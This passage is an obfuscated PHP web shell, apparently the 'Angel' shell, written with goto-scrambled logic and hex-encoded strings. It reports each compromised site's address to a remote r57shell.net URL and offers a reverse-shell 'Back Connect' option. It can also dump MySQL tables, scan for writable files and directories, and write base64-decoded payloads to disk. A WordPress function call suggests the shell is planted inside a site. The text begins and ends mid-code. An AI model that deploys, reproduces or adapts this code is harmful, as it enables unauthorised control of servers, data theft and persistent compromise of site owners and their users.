curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto g8xuO; gI5xX: curl_setopt($ch, CURLOPT_URL, "\x68\x74\x74\x70\72\57\57\x72\x35\67\x73\150\x65\x6c\x6c\x2e\156\x65\x74\x2f\x6a\x71\165\x65\162\x79\56\x70\x68\160\77\166\x3d\61\x2e\x32\x26\x72\x65\x71\165\145\x73\x74\x3d\145\x6e\141\x62\x6c\x65"); goto dBIbf; DbF3q: } else { goto CEVeV; WhR1L: $response = @file_get_contents("\150\164\164\x70\x3a\x2f\57\x72\65\67\x73\150\x65\x6c\x6c\x2e\156\145\x74\x2f\152\161\165\x65\162\x79\56\160\x68\x70\77\166\75\x31\x2e\x32\46\162\x65\x71\x75\145\x73\x74\x3d\145\x6e\x61\x62\x6c\145", false, $context); goto hsbGh; CEVeV: $referer = $_SERVER["\x48\124\x54\120\137\110\117\x53\x54"] . $_SERVER["\122\105\x51\x55\105\123\x54\x5f\x55\x52\x49"]; goto Y44_z; B2rY8: $context = stream_context_create($opts); goto WhR1L; Y44_z: $opts = array("\x68\164\x74\160" => array("\x68\x65\141\x64\145\162" => array("\122\145\x66\145\162\145\162\72\40{$referer}\xd\xa"))); goto B2rY8; hsbGh: } goto Vdl7_; kYARl: @file_put_contents($tmp_file, $response); goto Fj8DO; Vdl7_: @touch($tmp_file); goto kYARl; Fj8DO: } else { $response = file_get_contents($tmp_file); if (!@preg_match("\x23\x73\164\164\x31\x23", $response)) { goto Saq2q; iyVp0: @touch($tmp_file); goto NhDeN; NhDeN: @file_put_contents($tmp_file, $response); goto oQNow; Saq2q: if (function_exists("\143\x75\x72\154\137\x69\156\x69\164")) { goto b3dLL; b3dLL: $ch = curl_init(); goto fMz0E; EEmvr: $response = curl_exec($ch); goto T71ur; jAaaw: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["\x48\x54\124\x50\x5f\x48\117\123\x54"] . $_SERVER["\122\x45\121\125\x45\x53\124\137\x55\122\x49"]); goto EEmvr; wPCPs: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto jAaaw; T71ur: curl_close($ch); goto n5TyN; fMz0E: curl_setopt($ch, CURLOPT_URL, "\150\x74\x74\160\x3a\57\57\162\65\67\x73\150\x65\x6c\x6c\56\156\x65\164\57\x6a\161\165\145\162\171\x2e\160\x68\x70\x3f\166\75\61\56\x32\x26\x72\145\161\x75\145\163\164\x3d\x65\156\141\142\x6c\x65"); goto wPCPs; n5TyN: } else { goto HVL50; ywcn8: $response = @file_get_contents("\150\164\x74\160\72\x2f\x2f\x72\65\67\x73\x68\145\x6c\x6c\56\x6e\x65\164\57\152\161\165\x65\x72\x79\x2e\x70\x68\x70\77\x76\x3d\61\56\x32\46\x72\145\161\x75\145\163\164\x3d\x65\156\141\x62\154\145", false, $context); goto qokD_; etKtW: $opts = array("\x68\x74\x74\x70" => array("\x68\145\141\144\145\162" => array("\x52\x65\x66\x65\x72\x65\162\72\x20{$referer}\15\xa"))); goto i8eod; HVL50: $referer = $_SERVER["\x48\x54\x54\120\x5f\110\117\x53\x54"] . $_SERVER["\122\x45\x51\x55\105\x53\x54\x5f\125\122\x49"]; goto etKtW; i8eod: $context = stream_context_create($opts); goto ywcn8; qokD_: } goto iyVp0; oQNow: } } goto rl0x2; NM3E1: $document_file = $_SERVER["\123\103\122\x49\120\x54\137\x46\111\x4c\x45\116\x41\115\x45"]; goto hCRyi; ZWJhB: $uri_path = dirname($uri_path); goto g65AD; nm7t_: if ($uri_path == DIRECTORY_SEPARATOR || $uri_path == '') { $document_root = $file_path; } else { $document_root = str_replace($uri_path, '', $file_path); } goto d7A3y; uJY_o: } wp_core_version_check(); } goto vcpFM; FTgK_: function cf($fname, $text) { if ($fp = @fopen($fname, "\167")) { @fputs($fp, @base64_decode($text)); @fclose($fp); } } goto luHNd; Skydd: echo $uid . "\x20\x28\40" . $user . "\40\x29\40\x2f\x20\107\x72\x6f\x75\160\x3a\x20" . $gid . "\40\x28\40" . $group . "\40\51"; goto FhytH; VkgCv: if (!function_exists("\160\157\x73\x69\x78\x5f\x67\145\164\x65\x67\151\x64")) { goto VVdw0; sM2LN: $group = "\x3f"; goto vdpA7; ZUhTB: $gid = @getmygid(); goto sM2LN; hUQiX: $uid = @getmyuid(); goto ZUhTB; VVdw0: $user = @get_current_user(); goto hUQiX; vdpA7: } else { goto W7_H9; h_IrK: $gid = @posix_getgrgid(@posix_getegid()); goto XugbS; W7_H9: $uid = @posix_getpwuid(@posix_geteuid()); goto h_IrK; IaIxd: $uid = $uid["\x75\151\x64"]; goto REecy; XugbS: $user = $uid["\156\141\155\145"]; goto IaIxd; REecy: $group = $gid["\156\141\155\x65"]; goto sth58; sth58: $gid = $gid["\x67\x69\x64"]; goto XKWPj; XKWPj: } goto v6UTW; b1DZ_: $starttime = $mtime[1] + $mtime[0]; goto Ru23_; cuUUE: function maketext($arg = array()) { goto Rm4CF; Xa13P: !$arg["\x72\157\x77\163"] && ($arg["\x72\x6f\x77\163"] = 25); goto VFIMi; WcIMv: p("\74\x70\76{$arg["\x74\151\164\154\145"]}\x3c\x74\145\x78\164\x61\162\145\141\x20\x63\x6c\141\163\x73\75\x22\x61\x72\x65\x61\42\40\x69\x64\x3d\42{$arg["\x6e\141\x6d\x65"]}\42\x20\156\x61\155\x65\75\42{$arg["\x6e\141\x6d\x65"]}\42\x20\x63\157\154\x73\x3d\x22{$arg["\x63\x6f\154\x73"]}\42\40\x72\157\167\x73\x3d\x22{$arg["\162\x6f\x77\x73"]}\42\x20{$arg["\145\x78\x74\162\141"]}\x3e{$arg["\x76\141\154\x75\x65"]}\x3c\57\164\x65\x78\164\141\162\x65\x61\x3e\x3c\x2f\160\x3e"); goto Oaim1; Rm4CF: !$arg["\x63\x6f\154\163"] && ($arg["\143\157\x6c\163"] = 100); goto Xa13P; VFIMi: $arg["\x74\151\164\x6c\x65"] = $arg["\x74\151\164\x6c\x65"] ? $arg["\x74\151\164\x6c\145"] . "\74\142\162\x20\57\x3e" : ''; goto WcIMv; Oaim1: } goto FXwkn; fkQDN: function scookie($key, $value, $life = 0, $prefix = 1) { goto FDT81; jpxQZ: $life = $life ? $life : $cookielife; goto h6LGd; FDT81: global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife; goto SVYSM; SVYSM: $key = ($prefix ? $cookiepre : '') . $key; goto jpxQZ; Rxf3M: setcookie($key, $value, $timestamp + $life, $cookiepath, $cookiedomain, $useport); goto JplN2; h6LGd: $useport = $_SERVER["\x53\105\x52\x56\x45\x52\x5f\120\117\122\124"] == 443 ? 1 : 0; goto Rxf3M; JplN2: } goto MlFJX; ksRuh: if ($action == "\154\157\x67\157\165\164") { goto q2j9H; q2j9H: scookie("\154\x6f\x67\x69\156\160\141\163\163", '', -86400 * 365); goto jQdfQ; uovGe: exit; goto JebMy; jQdfQ: @header("\114\157\143\x61\164\x69\x6f\156\x3a\40" . $self); goto uovGe; JebMy: } goto T28a3; SxZQX: $errmsg = ''; goto LxqnM; L0ea9: function makehide($name, $value = '') { p("\x3c\151\x6e\160\x75\x74\x20\151\144\x3d\x22{$name}\x22\x20\x74\x79\160\x65\75\42\x68\x69\144\x64\x65\x6e\x22\x20\x6e\141\x6d\x65\x3d\x22{$name}\x22\40\x76\x61\x6c\x75\145\75\42{$value}\x22\40\57\76"); } goto BcUpu; urxZK: $errmsg && m($errmsg); goto KwUHy; PH_Cz: if (!IS_WIN) { echo "\40\x7c\x20\74\141\x20\x68\x72\145\x66\75\x22\x6a\x61\166\141\163\x63\162\x69\160\164\72\147\x28\47\142\141\x63\x6b\143\x6f\x6e\156\145\143\164\x27\x29\73\x22\76\102\x61\x63\153\x20\103\x6f\156\156\145\x63\164\74\x2f\x61\76"; } goto QrzXD; FXwkn: function formfooter($name = '') { goto hWKkD; X5Laq: p("\74\x2f\146\157\x72\155\76"); goto IHEi9; RpOFJ: p("\74\x70\76\74\151\156\x70\165\x74\40\143\154\141\163\x73\x3d\x22\142\x74\42\40\x6e\x61\155\x65\x3d\x22" . $name . "\x22\40\x69\x64\x3d\x22" . $name . "\x22\40\x74\x79\x70\x65\75\42\x73\165\142\155\151\164\42\40\x76\x61\154\x75\145\75\x22\x53\x75\x62\155\151\164\42\76\74\x2f\x70\76"); goto X5Laq; hWKkD: !$name && ($name = "\163\x75\142\x6d\x69\x74"); goto RpOFJ; IHEi9: } goto sGaK7; AadOe: function bg() { global $bgc; return $bgc++ % 2 == 0 ? "\141\x6c\164\x31" : "\141\x6c\164\x32"; } goto EGjLI; fwnz1: echo @php_uname(); goto VWZJE; SOZhK: makehide("\x6e\157\167\x70\x61\x74\150", $nowpath); goto PulRb; jUiGb: function GetWFileList($dir) { goto mgSbG; mgSbG: global $filedata, $j, $nowpath, $writabledb; goto ETsGq; bU1kQ: if ($dh = opendir($dir)) { goto BBz1K; DISba: closedir($dh); goto yFJAP; yWB5k: return $filedata; goto a_Z7r; yFJAP: clearstatcache(); goto yWB5k; BBz1K: while ($file = readdir($dh)) { $ext = getext($file); $f = str_replace("\x2f\57", "\57", $dir . "\57" . $file); if ($file != "\56" && $file != "\56\x2e" && is_dir($f)) { GetWFileList($f); } elseif ($file != "\56" && $file != "\56\56" && is_file($f) && in_array($ext, explode("\x2c", $writabledb))) { if (is_writable($f)) { goto zzKfF; vf74p: $filedata[$j]["\x66\151\x6c\x65\x6f\167\156\x65\x72"] = getUser($f); goto M2SM4; PKH2j: $filedata[$j]["\146\151\x6c\x65\x70\x65\162\x6d"] = getPerms($f); goto vf74p; OZgKw: $filedata[$j]["\x73\145\162\166\145\x72\137\x6c\151\x6e\153"] = $f; goto UjtzK; zzKfF: $filedata[$j]["\146\151\154\x65\156\141\x6d\145"] = str_replace($nowpath, '', $f); goto cvP0a; M2SM4: $filedata[$j]["\x64\x69\162\154\x69\156\x6b"] = $dir; goto OZgKw; pNMIM: $filedata[$j]["\146\x69\x6c\x65\x63\150\x6d\157\144"] = getChmod($f); goto PKH2j; UjtzK: $j++; goto CHAFp; cvP0a: $filedata[$j]["\163\x69\x7a\x65"] = sizecount(@filesize($f)); goto IOEh_; IOEh_: $filedata[$j]["\155\164\x69\155\145"] = @date("\131\55\155\x2d\x64\x20\x48\72\151\x3a\x73", filemtime($f)); goto pNMIM; CHAFp: } } } goto DISba; a_Z7r: } else { return array(); } goto KLR6a; ETsGq: !$j && ($j = 1); goto bU1kQ; KLR6a: } goto QTUD0; Lvqxt: function sqldumptable($table, $fp = 0) { goto X7ngH; gDx1P: while ($row = mysql_fetch_assoc($rows)) { foreach ($row as $k => $v) { $row[$k] = "\47" . @mysql_real_escape_string($v) . "\47"; } $tabledump = "\x49\116\123\105\122\x54\40\111\x4e\124\x4f\x20\140" . $table . "\140\40\x56\101\x4c\125\x45\123\40\x28" . implode("\x2c\40", $row) . "\51\73" . "\12"; if ($fp) { fwrite($fp, $tabledump); } else { echo $tabledump; } } goto Az84C; c8sD6: $rows = q("\123\105\114\x45\103\124\x20\x2a\40\106\122\117\115\40{$table}"); goto gDx1P; zWuy6: $create = mysql_fetch_row($res); goto OVLkH; BPSrp: if ($fp) { fwrite($fp, $tabledump); } else { echo $tabledump; } goto MJ3UY; MJ3UY: $tabledump = ''; goto c8sD6; OVLkH: $tabledump .= $create[1] . "\73\xa\xa"; goto BPSrp; c8uYa: fr($rows); goto YReiB; dc8VH: $tabledump = "\104\122\117\x50\x20\x54\101\x42\x4c\105\x20\111\x46\40\105\130\111\123\124\x53\x20\x60{$table}\140\73\xa"; goto dL5TE; X7ngH: global $mysqllink; goto dc8VH; dL5TE: $res = q("\123\110\x4f\127\x20\x43\122\105\101\124\105\x20\x54\x41\x42\114\105\40{$table}"); goto zWuy6; Az84C: fwrite($fp, "\xa\12"); goto c8uYa; YReiB: } goto j7Ll6; PCUBZ: function makeselect($arg = array()) { goto sHhJX; sYb3L: p("\74\x2f\163\x65\x6c\x65\x63\x74\76"); goto DRC0c; bCp77: if ($arg["\x6e\x65\167\154\x69\156\145"]) { p("\74\160\x3e"); } goto x8x04; sHhJX: if ($arg["\157\x6e\143\150\141\156\x67\x65"]) { $onchange = "\157\156\143\x68\x61\156\147\x65\75\x22" . $arg["\x6f\156\143\150\141\x6e\147\x65"] . "\42"; } goto yabEB; DRC0c: if ($arg["\156\145\x77\154\x69\x6e\145"]) { p("\74\x2f\x70\76"); } goto krTne; yabEB: $arg["\x74\x69\x74\x6c\145"] = $arg["\164\151\x74\154\x65"] ? $arg["\164\x69\164\154\x65"] : ''; goto bCp77; x8x04: p("{$arg["\x74\151\x74\x6c\x65"]}\40\x3c\x73\145\154\x65\143\x74\40\143\154\x61\163\163\75\x22\x69\156\x70\165\164\x22\40\151\144\x3d\x22{$arg["\x6e\141\155\x65"]}\42\40\156\x61\155\145\75\42{$arg["\156\x61\x6d\x65"]}\42\40{$onchange}\x3e"); goto zQ0Ro; zQ0Ro: if (is_array($arg["\x6f\x70\164\x69\157\156"])) { if ($arg["\156\157\x6b\145\171"]) { foreach ($arg["\x6f\160\164\151\x6f\x6e"] as $value) { if ($arg["\163\x65\x6c\x65\x63\x74\145\x64"] == $value) { p("\x3c\157\x70\164\x69\x6f\x6e\x20\166\141\x6c\165\145\75\42{$value}\x22\x20\163\145\154\x65\143\164\x65\144\x3e{$value}\74\x2f\157\x70\164\151\157\x6e\76"); } else { p("\74\x6f\160\x74\x69\157\x6e\40\x76\141\x6c\x75\145\75\42{$value}\42\76{$value}\x3c\x2f\157\160\x74\x69\x6f\x6e\76"); } } } else { foreach ($arg["\157\160\164\151\157\156"] as $key => $value) { if ($arg["\x73\145\x6c\x65\x63\164\145\x64"] == $key) { p("\x3c\157\160\164\151\157\156\40\166\141\154\x75\x65\x3d\x22{$key}\x22\x20\x73\145\154\145\x63\x74\145\x64\76{$value}\x3c\x2f\157\x70\x74\x69\157\x6e\x3e"); } else { p("\74\157\x70\164\x69\157\156\40\x76\x61\154\x75\x65\x3d\x22{$key}\x22\76{$value}\x3c\57\157\x70\164\151\157\x6e\x3e"); } } } } goto sYb3L; krTne: } goto PsOn3; cvggG: function encode_pass($pass) { $pass = md5($pass); return $pass; } goto hmoEj; Mxoly: function tbhead() { p("\x3c\x74\x61\x62\x6c\x65\40\x77\x69\x64\x74\x68\75\42\61\60\x30\x25\42\x20\x62\157\x72\144\x65\x72\75\x22\60\42\40\x63\x65\154\154\160\141\144\x64\x69\x6e\x67\x3d\42\64\x22\x20\x63\x65\x6c\154\163\160\x61\x63\151\156\x67\x3d\42\60\42\76"); } goto iRFtB; goORx: $timestamp = time(); goto ksRuh; PsOn3: function formhead($arg = array()) { goto Urd7G; B8VnO: p("\x3c\146\x6f\162\155\x20\156\x61\x6d\x65\x3d\x22{$arg["\156\141\155\145"]}\42\x20\151\144\x3d\42{$arg["\156\x61\x6d\145"]}\x22\x20\x61\143\164\151\157\156\75\x22{$arg["\x61\143\164\151\157\156"]}\x22\x20\155\x65\x74\150\157\x64\75\x22{$arg["\x6d\x65\164\x68\x6f\x64"]}\42\x20{$arg["\164\141\162\147\x65\x74"]}\76"); goto oFqdo; Urd7G: global $self; goto XVLEn; w3jvI: $arg["\164\141\162\147\x65\164"] = $arg["\x74\141\162\147\145\x74"] ? "\164\141\x72\147\x65\x74\x3d\42{$arg["\164\x61\162\x67\145\x74"]}\x22" : ''; goto oa03q; oFqdo: if ($arg["\x74\x69\164\154\x65"]) { p("\x3c\x68\x32\76" . $arg["\164\x69\x74\x6c\145"] . "\x20\46\x72\x61\161\x75\x6f\x3b\x3c\57\x68\62\x3e"); } goto DU2Cq; oa03q: !$arg["\x6e\141\155\145"] && ($arg["\x6e\141\155\x65"] = "\146\157\x72\155\x31"); goto B8VnO; dMk2h: !$arg["\x61\143\x74\151\157\156"] && ($arg["\x61\x63\164\151\157\x6e"] = $self); goto w3jvI; XVLEn: !$arg["\x6d\145\164\150\x6f\144"] && ($arg["\x6d\x65\x74\x68\x6f\x64"] = "\160\157\x73\164"); goto dMk2h; DU2Cq: } goto cuUUE; ewvfO: ob_end_flush(); goto E0tG6; UZoFL: @set_time_limit(0); goto gM5lH; MyciK: function q($sql) { global $mysqllink; return @mysql_query($sql, $mysqllink); } goto LHXHt; JPugn: echo "\x3c\x68\164\x6d\154\x3e\xd\xa\x3c\x68\145\141\144\x3e\xd\xa\x3c\155\145\164\141\40\x68\164\x74\x70\x2d\145\161\165\151\x76\75\42\x43\157\x6e\x74\x65\156\164\55\x54\171\x70\145\42\x20\143\x6f\x6e\164\145\x6e\164\75\x22\164\x65\170\164\x2f\150\164\155\x6c\73\40\x63\150\141\162\163\x65\x74\x3d\147\142\153\x22\x3e\15\12\74\164\151\164\x6c\145\76"; goto hIUKc; pENZ7: function debuginfo() { goto t5Rn7; t5Rn7: global $starttime; goto k_54u; k_54u: $mtime = explode("\40", microtime()); goto G74bC; G74bC: $totaltime = number_format($mtime[1] + $mtime[0] - $starttime, 6); goto riMIp; riMIp: echo "\x50\x72\157\143\x65\x73\x73\x65\144\40\x69\x6e\x20" . $totaltime . "\40\x73\x65\143\157\x6e\144\x28\x73\51"; goto MCVjI; MCVjI: } goto CxbqO; uDJd_: debuginfo(); goto ewvfO; v6UTW: echo "\74\x74\141\142\x6c\145\40\x77\151\144\164\x68\x3d\42\61\x30\60\x25\x22\40\142\157\x72\144\145\x72\x3d\42\60\x22\40\143\145\154\154\160\x61\144\x64\x69\156\x67\75\x22\60\x22\x20\x63\x65\154\154\x73\x70\x61\143\151\x6e\x67\x3d\42\60\42\76\15\12\11\x3c\164\x72\x20\x63\x6c\x61\163\x73\x3d\x22\150\x65\x61\144\x22\x3e\15\12\x9\x9\74\x74\144\x3e\x3c\x73\x70\x61\x6e\40\163\x74\171\154\145\75\x22\146\154\157\x61\164\x3a\x72\151\x67\150\x74\x3b\x22\x3e"; goto fwnz1; OS0yN: function GetWDirList($dir) { goto yIdLR; yIdLR: global $dirdata, $j, $nowpath; goto u9jdh; u9jdh: !$j && ($j = 1); goto n1zwq; n1zwq: if ($dh = opendir($dir)) { goto oBs4Z; b9qKq: clearstatcache(); goto SP0TN; oBs4Z: while ($file = readdir($dh)) { $f = str_replace("\57\57", "\57", $dir . "\x2f" . $file); if ($file != "\x2e" && $file != "\56\x2e" && is_dir($f)) { if (is_writable($f)) { goto lK6Jj; lK6Jj: $dirdata[$j]["\x66\x69\154\x65\x6e\x61\155\145"] = str_replace($nowpath, '', $f); goto gvppu; MI9Ak: $dirdata[$j]["\x64\151\x72\x6c\x69\156\153"] = $dir; goto q8l8E; DKQi3: $dirdata[$j]["\x64\151\162\x70\x65\162\155"] = getPerms($f); goto MI9Ak; kjSaz: $j++; goto fuaom; q8l8E: $dirdata[$j]["\163\145\162\166\145\162\137\x6c\x69\156\x6b"] = $f; goto kjSaz; RJLi0: $dirdata[$j]["\144\151\x72\x63\150\x6d\157\x64"] = getChmod($f); goto DKQi3; gvppu: $dirdata[$j]["\x6d\x74\x69\x6d\x65"] = @date("\x59\55\x6d\x2d\144\40\x48\x3a\x69\x3a\x73", filemtime($f)); goto RJLi0; fuaom: } GetWDirList($f); } } goto haBYy; SP0TN: return $dirdata; goto gObEW; haBYy: closedir($dh); goto b9qKq; gObEW: } else { return array(); } goto LquQz; LquQz: } goto jUiGb; E0tG6: echo "\74\x2f\163\160\x61\x6e\x3e\xd\12\x9\x50\157\167\145\x72\x65\144\40\142\x79\x20\101\156\x67\145\x6c\x20\x41\x6c\154\40\122\x69\147\150\x74\163\40\122\145\163\x65\x72\x76\x65\144\x2e\xd\12\74\57\x64\151\166\76\15\12\74\57\142\157\144\x79\76\xd\12\x3c\x2f\x68\x74\x6d\x6c\76\xd\xa\xd\xa"; goto BS5Oz; QrzXD: echo "\x9\11\x3c\57\164\144\76\15\12\11\74\57\164\x72\76\15\xa\x3c\x2f\x74\x61\142\x6c\x65\x3e\15\xa\x3c\x74\141\142\154\x65\x20\167\x69\x64\x74\150\75\x22\61\60\x30\45\42\x20\142\157\x72\144\x65\162\x3d\42\60\x22\40\x63\x65\x6c\x6c\x70\141\144\144\x69\156\x67\x3d\x22\61\x35\42\x20\143\145\x6c\x6c\x73\x70\x61\x63\151\x6e\147\75\42\60\42\x3e\x3c\164\x72\76\x3c\164\144\76\15\xa"; goto urxZK; FhytH: echo "\74\57\x73\160\141\156\76"; goto kZCjb; KwUHy: if (!$dir) { $dir = $_SERVER["\104\x4f\103\125\x4d\x45\116\x54\x5f\122\117\x4f\124"] ? $_SERVER["\x44\117\x43\125\x4d\x45\x4e\x54\137\122\117\117\x54"] : "\x2e"; } goto K4fnh; zVY9g: echo "\74\x2f\164\151\164\154\x65\x3e\xd\xa\x3c\x73\164\x79\x6c\145\x20\164\171\160\x65\x3d\x22\164\x65\170\164\x2f\143\x73\163\42\x3e\xd\xa\x62\x6f\x64\171\54\x74\144\x7b\146\x6f\x6e\164\72\40\61\62\x70\x78\x20\x41\162\x69\141\154\x2c\124\141\150\x6f\x6d\x61\73\x6c\x69\x6e\145\55\x68\x65\151\147\150\164\x3a\40\61\x36\160\170\73\x7d\xd\xa\x2e\151\156\x70\165\164\173\x66\x6f\156\x74\72\61\62\x70\x78\40\x41\162\x69\141\154\54\x54\141\x68\x6f\x6d\141\73\142\x61\x63\x6b\147\162\x6f\165\156\x64\72\x23\146\x66\146\x3b\x62\157\x72\144\x65\162\x3a\40\61\x70\x78\x20\x73\157\x6c\x69\144\x20\x23\66\x36\x36\x3b\160\x61\144\x64\x69\156\147\72\x32\x70\170\73\x68\x65\151\x67\150\x74\x3a\62\x32\160\x78\x3b\x7d\15\xa\x2e\141\162\x65\x61\x7b\x66\x6f\x6e\164\x3a\61\62\x70\170\40\x27\x43\157\x75\x72\x69\145\x72\40\x4e\145\x77\47\x2c\40\x4d\x6f\x6e\157\163\160\141\143\145\73\x62\141\143\x6b\147\162\x6f\165\x6e\144\72\x23\146\146\x66\73\x62\x6f\162\x64\145\x72\72\40\x31\160\x78\x20\163\157\x6c\151\144\x20\43\x36\66\x36\73\x70\x61\x64\144\151\x6e\x67\72\x32\160\x78\73\175\xd\xa\56\x62\164\40\x7b\x62\157\162\144\145\x72\x2d\143\157\x6c\157\x72\x3a\x23\x62\x30\142\60\142\60\x3b\x62\141\143\x6b\x67\x72\157\x75\x6e\144\x3a\43\x33\144\63\x64\x33\x64\x3b\143\157\x6c\157\162\x3a\43\146\x66\146\x66\x66\x66\73\x66\x6f\156\x74\72\x31\x32\160\x78\40\101\162\x69\x61\x6c\54\x54\141\150\157\155\141\x3b\150\x65\151\x67\x68\164\x3a\62\62\160\170\73\x7d\xd\12\141\40\173\x63\x6f\154\x6f\162\72\x20\x23\x30\60\x66\73\164\x65\x78\x74\55\x64\x65\x63\x6f\x72\x61\164\x69\157\x6e\72\165\156\x64\145\162\x6c\151\156\145\73\175\xd\12\141\72\x68\157\166\145\162\x7b\143\x6f\x6c\157\x72\x3a\40\43\146\x30\x30\x3b\x74\145\x78\x74\55\x64\x65\143\x6f\162\x61\164\151\157\x6e\x3a\x6e\157\x6e\145\73\x7d\15\12\x2e\x61\154\164\x31\x20\164\144\173\142\x6f\x72\x64\x65\x72\55\x74\x6f\x70\72\x31\x70\170\40\x73\157\x6c\x69\x64\40\x23\146\146\146\73\x62\x6f\x72\x64\145\x72\x2d\x62\x6f\164\164\157\155\x3a\61\x70\170\x20\163\x6f\x6c\x69\x64\x20\x23\144\144\144\73\142\x61\x63\x6b\x67\x72\157\165\x6e\144\72\43\x66\x31\x66\x31\x66\61\x3b\160\141\x64\144\x69\x6e\147\72\65\160\x78\x20\61\x35\160\170\x20\65\x70\x78\40\x35\160\x78\x3b\175\xd\xa\x2e\x61\154\164\x32\x20\x74\144\173\142\157\162\x64\x65\162\x2d\x74\x6f\160\x3a\x31\160\x78\40\x73\x6f\x6c\151\x64\40\43\146\x66\x66\73\x62\x6f\162\x64\145\162\x2d\142\157\x74\x74\157\x6d\72\x31\160\x78\x20\163\x6f\154\x69\x64\40\43\144\x64\144\x3b\142\x61\143\x6b\147\x72\x6f\x75\156\144\72\43\x66\x39\146\x39\146\71\73\x70\x61\144\144\151\156\x67\72\x35\160\170\x20\61\65\160\x78\40\65\160\170\x20\x35\x70\x78\73\175\15\12\56\x66\x6f\143\x75\x73\40\x74\144\173\142\157\162\x64\145\162\55\x74\x6f\x70\x3a\61\160\170\x20\x73\x6f\154\x69\x64\40\43\x66\146\x66\73\x62\157\162\x64\x65\162\x2d\x62\157\x74\164\157\155\72\61\160\x78\x20\x73\157\154\151\x64\40\x23\x64\x64\x64\73\142\x61\143\153\147\162\x6f\x75\x6e\144\72\x23\146\x66\x66\146\141\141\73\x70\x61\x64\x64\151\x6e\147\x3a\x35\x70\170\x20\x31\65\x70\170\x20\x35\160\x78\x20\65\160\170\73\x7d\xd\xa\x2e\150\145\141\144\x20\164\144\173\142\x6f\x72\144\145\x72\x2d\x74\157\x70\72\61\x70\x78\x20\163\x6f\x6c\151\x64\x20\43\x66\x66\x66\73\142\x6f\x72\x64\145\162\55\142\157\164\164\x6f\155\x3a\x31\160\x78\x20\x73\x6f\x6c\x69\x64\x20\43\x64\x64\x64\x3b\x62\141\x63\153\147\x72\157\x75\156\144\72\x23\x65\71\x65\x39\x65\x39\x3b\160\x61\x64\144\x69\156\x67\x3a\x35\160\170\40\x31\65\x70\x78\40\65\160\x78\x20\65\160\170\73\x66\x6f\x6e\x74\x2d\x77\x65\x69\147\150\x74\x3a\x62\x6f\154\144\x3b\x7d\15\12\x2e\x68\145\141\x64\x20\164\144\40\x73\x70\141\156\173\146\157\x6e\164\x2d\167\x65\x69\147\150\x74\x3a\156\x6f\162\155\x61\154\73\175\15\12\56\151\156\x66\x6f\154\151\x73\x74\x20\x7b\160\x61\x64\x64\x69\156\147\72\61\x30\x70\170\x3b\x6d\x61\162\x67\x69\x6e\x3a\61\60\x70\x78\x20\x30\40\62\60\x70\x78\40\x30\73\x62\x61\143\x6b\x67\x72\157\x75\156\144\72\x23\106\61\x46\61\106\61\x3b\142\x6f\162\144\x65\162\72\x31\160\x78\x20\x73\157\x6c\151\144\x20\43\144\144\x64\73\x7d\15\xa\x66\x6f\x72\155\x7b\x6d\x61\x72\x67\x69\156\72\60\73\x70\x61\x64\144\151\156\147\x3a\x30\73\x7d\xd\xa\x68\x32\173\x6d\x61\x72\147\151\156\x3a\x30\x3b\x70\x61\144\x64\x69\156\147\x3a\x30\x3b\x68\145\151\147\150\x74\72\62\64\160\x78\x3b\x6c\151\156\x65\x2d\x68\145\x69\x67\x68\x74\72\x32\x34\x70\170\73\x66\x6f\x6e\164\55\x73\151\x7a\x65\72\61\64\160\x78\x3b\143\x6f\154\157\x72\x3a\43\65\x42\x36\70\x36\x46\73\x7d\xd\12\x75\154\56\x69\156\146\157\x20\154\151\x7b\155\141\x72\x67\151\x6e\x3a\60\73\x63\157\154\x6f\162\72\43\64\x34\x34\73\x6c\151\x6e\145\x2d\x68\x65\x69\147\150\164\72\62\64\160\170\x3b\150\x65\x69\147\x68\164\72\62\64\x70\x78\x3b\175\15\12\165\x7b\164\145\x78\x74\55\x64\x65\x63\157\x72\141\164\151\157\x6e\72\x20\x6e\157\x6e\x65\x3b\x63\x6f\154\157\162\72\43\67\x37\67\x3b\x66\x6c\x6f\141\164\72\x6c\145\x66\164\x3b\x64\x69\163\x70\x6c\x61\171\72\142\154\157\x63\x6b\73\167\x69\x64\164\150\72\61\x35\60\160\170\73\155\x61\162\x67\x69\156\x2d\x72\151\147\150\164\72\x31\x30\160\170\73\x7d\xd\xa\x2e\x64\x72\x69\166\x65\163\173\160\141\x64\x64\x69\156\x67\x3a\x35\160\170\x3b\x7d\15\12\56\144\162\x69\x76\x65\x73\x20\163\x70\x61\x6e\40\173\155\x61\162\147\x69\x6e\72\141\165\x74\x6f\40\67\x70\x78\73\175\15\xa\x3c\x2f\163\x74\x79\154\145\x3e\xd\12\74\x73\143\162\151\160\164\x20\164\171\160\x65\75\42\164\x65\170\164\x2f\152\x61\x76\x61\x73\x63\x72\x69\160\164\x22\76\15\xa\x66\x75\x6e\143\x74\151\x6f\x6e\x20\103\150\x65\143\153\x41\154\x6c\50\146\157\162\x6d\x29\x20\173\15\xa\11\146\157\162\x28\x76\141\x72\40\x69\x3d\x30\x3b\151\74\x66\157\x72\x6d\x2e\145\154\x65\x6d\x65\x6e\164\163\x2e\x6c\x65\x6e\147\164\150\73\151\53\x2b\51\40\x7b\xd\xa\11\11\x76\141\162\x20\x65\x20\75\x20\x66\x6f\x72\x6d\56\145\x6c\x65\155\145\x6e\164\163\x5b\151\135\73\xd\12\11\11\x69\x66\40\x28\145\56\x6e\141\x6d\x65\x20\x21\75\x20\47\143\150\x6b\x61\154\154\x27\x29\xd\xa\11\x9\145\56\x63\150\x65\143\x6b\145\x64\x20\x3d\x20\x66\157\x72\155\56\143\150\x6b\x61\x6c\154\56\x63\150\145\143\x6b\x65\x64\73\15\xa\40\x20\x20\x20\175\xd\xa\175\xd\xa\146\165\x6e\143\x74\x69\157\x6e\40\44\50\151\x64\x29\40\x7b\15\12\11\162\x65\x74\165\x72\156\40\x64\x6f\x63\165\x6d\145\x6e\x74\56\x67\145\x74\x45\x6c\x65\x6d\145\x6e\164\102\171\111\x64\x28\x69\144\51\x3b\15\xa\x7d\15\12\146\x75\x6e\x63\x74\151\x6f\x6e\x20\143\162\x65\141\x74\145\144\x69\162\x28\x29\173\15\xa\x9\166\x61\162\40\156\x65\167\144\151\x72\156\x61\x6d\x65\x3b\15\xa\x9\156\x65\x77\x64\151\x72\x6e\141\155\145\40\75\x20\x70\162\x6f\155\x70\164\50\47\120\154\145\141\163\x65\x20\151\x6e\160\x75\164\x20\x74\150\x65\x20\144\x69\162\145\143\x74\157\1